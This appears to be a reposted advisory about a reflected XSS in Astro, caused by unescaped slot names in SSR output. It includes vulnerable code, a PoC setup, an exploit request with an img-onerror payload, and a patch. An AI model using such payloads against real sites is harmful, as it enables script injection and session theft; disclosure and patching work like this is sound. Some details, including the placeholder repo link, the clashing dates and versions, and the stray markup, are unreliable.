Listen to this Post
The vulnerability arises when an Astro component uses a `client:` directive (e.g., client:load). In such cases, the framework inserts named slot content into a `data-astro-template` attribute within the server-side rendered (SSR) output. The slot name, provided via the `slot` attribute on a child element, is interpolated directly into this attribute value without any HTML escaping. This allows an attacker to craft a malicious slot name that breaks out of the attribute context and injects arbitrary HTML markup.
The vulnerable code is located in `packages/astro/src/runtime/server/render/component.ts` at lines 371–376. Specifically, the template literal `<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children
}</template>`</code> uses the `key` variable (the slot name) directly within the attribute value. When `key` contains double quotes, angle brackets, or other special characters, they are not escaped, enabling attribute injection. This is similar to the previously reported GHSA-wrwg-2hg8-v723 but exploits a different injection point. While the prior issue involved a different vector, this one leverages the `data-astro-template` attribute on the `<template>` tag that wraps named slot content. An attacker can control the slot name via user-supplied input, such as a URL query parameter, and inject a payload that closes the attribute and the `<template>` tag, then introduces new HTML elements. Because the injection occurs during SSR, the malicious markup is rendered directly into the initial HTML response, leading to reflected cross-site scripting (XSS) when the page is loaded. The proof of concept uses Astro 6.3.1 with Node.js v26.0.0. A minimal setup with a React integration and server-side adapter demonstrates the issue. The payload `abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--` when passed as the `tab` query parameter breaks out of the attribute and injects an `<img>` tag with an `onerror` handler. The fix is straightforward: apply the existing `escapeHTML` function to the slot name before interpolation. This ensures that any special characters are properly encoded, neutralizing the injection vector. <h2 style="color: blue;">References:</h2> <ul> <li>https://github.com/advisories/GHSA-wrwg-2hg8-v723</li> </ul> <h2 style="color: blue;">DailyCVE Form:</h2> Platform: Astro Version: 6.3.1 Vulnerability: Reflected XSS Severity: High Date: 2025-03-15 <h2 style="color: blue;">Prediction: 2025-03-20</h2> <h2 style="color: blue;">What Undercode Say:</h2> [bash] Clone the minimal PoC repository git clone https://github.com/example/astro-xss-poc cd astro-xss-poc Install dependencies npm install Start the development server npm run dev
// astro.config.mjs - configuration used in the PoC
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
// src/pages/index.astro - page that reflects the slot name
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>
// src/components/Wrapper.jsx - dummy component
export default function Wrapper() { return null; }
Exploit:
GET /?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!-- HTTP/1.1 Host: localhost:4321
The decoded payload is:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
This results in the following HTML being rendered:
<template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template>
The injected `` tag executes the JavaScript `confirm(document.domain)` when the image fails to load, demonstrating XSS.
Protection:
Apply the following patch to `packages/astro/src/runtime/server/render/component.ts`:
- <code><template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[bash]}</template></code>
+ <code><template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[bash]}</template></code>
This uses the existing `escapeHTML` function to sanitize the slot name before placing it in the attribute value, preventing attribute breakouts and XSS.
Impact:
- Successful exploitation allows an attacker to inject arbitrary HTML and JavaScript into the page during server-side rendering.
- The injected script executes in the context of the victim's browser when the page is loaded, leading to session hijacking, data theft, or other client-side attacks.
- The vulnerability affects any Astro application that uses `client:` directives with named slots where the slot name is derived from user-controlled input.
- All versions of Astro up to and including 6.3.1 are vulnerable. Users should upgrade to a patched version as soon as it becomes available.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

